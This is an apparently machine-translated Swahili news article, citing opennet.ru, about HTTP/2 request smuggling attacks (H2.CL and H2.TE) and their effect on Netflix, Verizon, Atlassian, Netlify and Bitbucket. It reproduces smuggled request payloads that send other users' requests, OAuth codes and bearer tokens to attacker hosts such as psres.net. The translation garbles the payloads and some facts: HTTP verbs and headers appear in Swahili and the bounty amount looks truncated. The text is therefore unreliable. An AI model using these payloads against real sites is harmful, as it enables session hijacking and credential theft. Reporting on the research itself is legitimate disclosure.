Mifumo ya wavuti ambayo sehemu ya mbele inakubali miunganisho kupitia HTTP/2 na kupitishwa kwa upande wa nyuma kupitia HTTP/1.1 imeonyeshwa lahaja mpya ya shambulio la Usafirishaji wa Ombi la HTTP, ambalo huruhusu, kwa kutuma maombi ya mteja iliyoundwa mahususi, kuelekeza kwenye maudhui. ya maombi kutoka kwa watumiaji wengine yaliyochakatwa kwa mtiririko sawa kati ya mazingira ya mbele na ya nyuma. Shambulio hilo linaweza kutumiwa kuingiza msimbo hasidi wa JavaScript kwenye kipindi chenye tovuti halali, mifumo ya udhibiti wa ufikiaji, na kukatiza vigezo vya uthibitishaji.
Tatizo huathiri proksi za wavuti, visawazisha mizigo, vichapuzi vya wavuti, mifumo ya uwasilishaji wa maudhui na usanidi mwingine ambapo maombi huelekezwa kwingine kulingana na mpango wa nyuma-mwisho. Mwandishi wa utafiti alionyesha uwezo wa kushambulia mifumo kwenye Netflix, Verizon, Bitbucket, Netlify CDN na Atlassian, na kupokea $ 56 katika programu za fadhila za mazingira magumu. Tatizo pia limethibitishwa katika bidhaa za F5 Networks. Kwa kiasi fulani suala hilo linaathiri mod_proksi katika seva ya Apache http (CVE-2021-33193), marekebisho yanatarajiwa katika toleo la 2.4.49 (wasanidi waliarifiwa kuhusu suala hilo mapema Mei na walipokea miezi 3 kulirekebisha). Katika nginx, uwezo wa kubainisha vichwa vya "Urefu wa Maudhui" na "Uhamishaji-Usimbaji" kwa wakati mmoja ulizuiwa katika toleo la mwisho (1.21.1). Zana za mashambulizi tayari zimeongezwa kwenye zana ya Burp na zinapatikana kama kiendelezi cha Turbo Intruder.
Kanuni ya utendakazi wa mbinu mpya ya kujumuisha maombi katika trafiki ni sawa na athari iliyotambuliwa na mtafiti yuleyule miaka miwili iliyopita, lakini inahusu tu maeneo ya mbele ambayo yanakubali maombi kupitia HTTP/1.1. Kumbuka kwamba katika mpango wa backend-backend, maombi ya mteja yanapokelewa na nodi ya ziada - frontend, ambayo huanzisha muunganisho wa muda mrefu wa TCP na backend ambayo hushughulikia maombi moja kwa moja. Kupitia uunganisho huu wa kawaida, maombi kutoka kwa watumiaji tofauti kawaida hupitishwa, ambayo hufuata mlolongo mmoja baada ya mwingine, ikitenganishwa kwa njia ya itifaki ya HTTP.
Mashambulizi ya kawaida ya "Usafirishaji wa Ombi la HTTP" yalitokana na ukweli kwamba sehemu za mbele na nyuma hutafsiri matumizi ya vichwa vya HTTP "Urefu wa Maudhui" (huamua jumla ya ukubwa wa data iliyo katika ombi) na "Usimbaji-Uhamisho: umegawanywa" ( inaruhusu kuhamisha data katika sehemu) tofauti. Kwa mfano, ikiwa sehemu ya mbele inaauni tu "Urefu-Maudhui" lakini inapuuza "Usimbaji-Uhamishaji: umekatwa", basi mshambuliaji anaweza kutuma ombi kwamba zote ziwe na vichwa vya "Urefu-Maudhui" na "Usimbaji-Uhamisho: vipande vipande", lakini saizi ni "Urefu wa Maudhui" hailingani na saizi ya mnyororo uliokatwa. Katika kesi hii, sehemu ya mbele itachakata na kuelekeza ombi upya kulingana na "Urefu wa Yaliyomo", na sehemu ya nyuma itasubiri kizuizi kukamilika kwa msingi wa "Uhamishaji-Usimbaji: uliokatwa" na mkia uliobaki wa ombi la mshambuliaji utakuwa. mwanzoni mwa ombi la kigeni kupitishwa ijayo.
Tofauti na itifaki ya maandishi HTTP/1.1, ambayo imechanganuliwa katika kiwango cha mstari, HTTP/2 ni itifaki ya binary na hubadilisha vizuizi vya data vya ukubwa ulioamuliwa mapema. Walakini, HTTP/2 hutumia vichwa vya uwongo ambavyo vinalingana na vichwa vya kawaida vya HTTP. Wakati wa kuingiliana na mandharinyuma kupitia HTTP/1.1, sehemu ya mbele hutafsiri vichwa vya uwongo hivi katika vichwa sawa vya HTTP/1.1 HTTP. Shida ni kwamba sehemu ya nyuma hufanya maamuzi juu ya kuchanganua mkondo kulingana na vichwa vya HTTP vilivyowekwa na sehemu ya mbele, bila kujua vigezo vya ombi asili.
Ikiwa ni pamoja na katika mfumo wa vichwa vya uwongo, maadili "urefu wa yaliyomo" na "uhamishaji-usimbuaji" yanaweza kupitishwa, licha ya ukweli kwamba hayatumiwi katika HTTP / 2, kwani saizi ya data yote imedhamiriwa. uwanja tofauti. Hata hivyo, katika mchakato wa kubadilisha ombi la HTTP/2 kuwa HTTP/1.1, vichwa hivi hubebwa na vinaweza kuchanganya sehemu ya nyuma. Kuna chaguo mbili kuu za mashambulizi: H2.TE na H2.CL, ambapo mazingira ya nyuma yanapotoshwa na usimbaji-simbo usio sahihi au thamani ya urefu wa maudhui ambayo hailingani na saizi halisi ya shirika la ombi lililopokelewa na sehemu ya mbele kupitia Itifaki ya HTTP / 2.
Kama mfano wa mashambulizi ya H2.CL, kichwa bandia cha urefu wa maudhui hakijaundwa vizuri wakati wa kutuma ombi la HTTP/2 kwa Netflix. Ombi hili husababisha kuongezwa kwa kichwa sawa cha HTTP cha Urefu wa Maudhui wakati wa kufikia mandharinyuma kupitia HTTP/1.1, lakini kwa kuwa ukubwa katika Urefu wa Maudhui ni chini ya ukubwa halisi, baadhi ya data katika mkia huchakatwa kama mwanzo wa ombi linalofuata.
Kwa mfano, ombi la HTTP/2 :njia POST :njia /n :mamlaka www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Jeshi: 02.rs?x.netflix.com Foo: bar
Tutatuma ombi kwa mandhari ya nyuma: POST /n HTTP/1.1 Mwenyeji: www.netflix.com Urefu wa Maudhui: 4 abcdGET /n HTTP/1.1 Mpangishi: 02.rs?x.netflix.com Foo: bar
Kwa kuwa Urefu wa Maudhui umewekwa kuwa 4, mazingira ya nyuma yatakubali "abcd" pekee kama chombo cha ombi, na kuchakata "GET /n HTTP/1.1β¦" kama mwanzo wa ombi linalofuata kwa mtumiaji mwingine. Ipasavyo, mtiririko hautasawazishwa, na kwa kujibu ombi linalofuata, matokeo ya kuchakata ombi bandia yatarejeshwa. Kwa upande wa Netflix, kubainisha mwenyeji wa wahusika wengine katika kichwa cha "Mpangishi:" katika ombi lililoibiwa kulisababisha jibu "Mahali: https://02.rs?x.netflix.com/n" kwa mteja na yaliyoruhusiwa kupitishwa kwa maudhui holela kwa mteja, ikiwa ni pamoja na kutekeleza msimbo wako wa JavaScript katika muktadha wa tovuti ya Netflix.
Lahaja ya pili ya shambulio hilo (H2.TE) inahusishwa na uingizwaji wa kichwa cha "Transfer-Encoding: chunked". Matumizi ya kichwa bandia cha usimbaji katika HTTP/2 yamepigwa marufuku na maelezo na maombi nayo yameagizwa kushughulikiwa kuwa si sahihi. Licha ya hili, baadhi ya utekelezaji wa sehemu ya mbele hupuuza hitaji hili na kuruhusu matumizi ya kichwa bandia cha usimbaji katika HTTP/2, ambacho hutafsiriwa kwa kichwa sawa cha HTTP. Ikiwa kichwa cha "Transfer-Encoding" kipo, sehemu ya nyuma inaweza kukichukulia kama kipaumbele na kuchanganua data katika sehemu katika hali ya "chunked" kwa kutumia vizuizi vya ukubwa tofauti katika umbizo la "{size}\r\n{block} \r\n{size} \r\n{block}\r\n0" licha ya mgawanyo wa awali kwa ukubwa wa jumla.
Uwepo wa pengo kama hilo ulionyeshwa na mfano wa Verizon. Hata hivyo, tatizo lilihusu mfumo wa uthibitishaji wa tovuti na usimamizi wa maudhui, ambao pia hutumiwa na tovuti kama vile Huffington Post na Engadget. Kwa mfano, ombi la mteja juu ya HTTP/2: :njia POST :path /identitfy/XUI :mamlaka id.b2b.oath.com transfer-encoding chunked 0 PATA /oops HTTP/1.1 Sevashi: psres.net Urefu wa Maudhui: 10 x=
Imesababisha ombi la HTTP/1.1 kurudisha nyuma: POST /identity/XUI HTTP/1.1 Sevashi: id.b2b.oath.com Urefu wa Maudhui: 66 Usimbaji-Uhamisho: umekatwa 0 PATA /oops HTTP/1.1 Mpangishi: psres.net Urefu wa Maudhui- Urefu : 10x=
Upande wa nyuma, kwa upande wake, ulipuuza kichwa cha "Urefu wa Maudhui" na ukagawanya katika mtiririko kulingana na "Uhamishaji-Usimbaji: umekatwa". Kwa mazoezi, shambulio hilo lilifanya iwezekane kuelekeza maombi ya mtumiaji kwenye tovuti yako, ikiwa ni pamoja na kuingilia maombi yanayohusiana na uthibitishaji wa OAuth, vigezo ambavyo vilionekana kwenye kichwa cha Mrejeleo, pamoja na kuiga kipindi cha uthibitishaji na kuanzisha kutuma vitambulisho vya mtumiaji kwa mwenyeji wa mshambuliaji. PATA /b2blanding/show/oops HTTP/1.1 Mpangishi: psres.net Mrejeleaji: https://id.b2b.oath.com/?β¦&code=secret GET / HTTP/1.1 Mpangishi: psres.net Uidhinishaji: Mtoaji eyJhcGwiOiJIUzI1Gi1sIkIk6β¦
Ili kushambulia utekelezwaji wa HTTP/2 ambao hauruhusu kubainisha kichwa-msingi cha usimbaji uhamishaji, njia nyingine imependekezwa ambayo inahusisha kubadilisha kichwa cha "Transfer-Encoding" kwa kukiambatisha kwa vichwa vya uwongo vilivyotenganishwa na herufi mpya (inapobadilishwa. kwa HTTP/1.1 katika kesi hii, vichwa viwili tofauti vya HTTP vinaundwa).
Kwa mfano, Atlassian Jira na Netlify CDN (zinazotumika kutumikia ukurasa wa mwanzo wa Mozilla katika Firefox) ziliathiriwa na tatizo hili. Hasa, ombi la HTTP/2 :njia POST :path / :mamlaka start.mozilla.org foo b\r\n usimbaji-hamisha: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Mpangishi : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=
ilisababisha ombi la HTTP/1.1 POST / HTTP/1.1 kutumwa kwa mandhari ya nyuma\r\n Mpangishi: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content- Urefu: 71\ r\n \r\n 0\r\n \r\n PATA / HTTP/1.1\r\n Mpangishi: evil-netlify-domain\r\n Urefu-Maudhui: 5\r\n \ r\nx=
Chaguo jingine la kubadilisha kichwa cha "Transfer-Encoding" lilikuwa kukiambatisha kwa jina la kichwa-ghushi kingine au kwa kamba iliyo na njia ya ombi. Kwa mfano, wakati wa kufikia Atlassian Jira, jina la kichwa cha uwongo "foo: bar\r\ntransfer-encoding" chenye thamani "chunked" kilisababisha kuongezwa kwa vichwa vya HTTP "foo: bar" na "transfer-encoding". ... .
Mtafiti ambaye alitambua tatizo pia alipendekeza mbinu ya kuelekeza ombi ili kushambulia sehemu za mbele, ambapo muunganisho tofauti wa sehemu ya nyuma umeanzishwa kwa kila anwani ya IP na trafiki ya watumiaji tofauti haijachanganywa. Mbinu iliyopendekezwa haikuruhusu kuingilia maombi ya watumiaji wengine, lakini inafanya uwezekano wa kuweka sumu kwenye kashe iliyoshirikiwa, ambayo inathiri usindikaji wa maombi mengine, na hukuruhusu kufanya uingizwaji wa vichwa vya ndani vya HTTP vinavyotumiwa kuhamisha habari ya huduma kutoka. sehemu ya mbele hadi ya nyuma (kwa mfano, wakati wa kuhalalisha upande wa mbele katika vichwa hivyo inaweza kutuma taarifa kuhusu mtumiaji wa sasa kwa upande wa nyuma). Kama mfano wa kutumia njia katika mazoezi, kwa kutumia sumu ya kache, iliwezekana kupata udhibiti wa kurasa kwenye huduma ya Bitbucket.
Chanzo: opennet.ru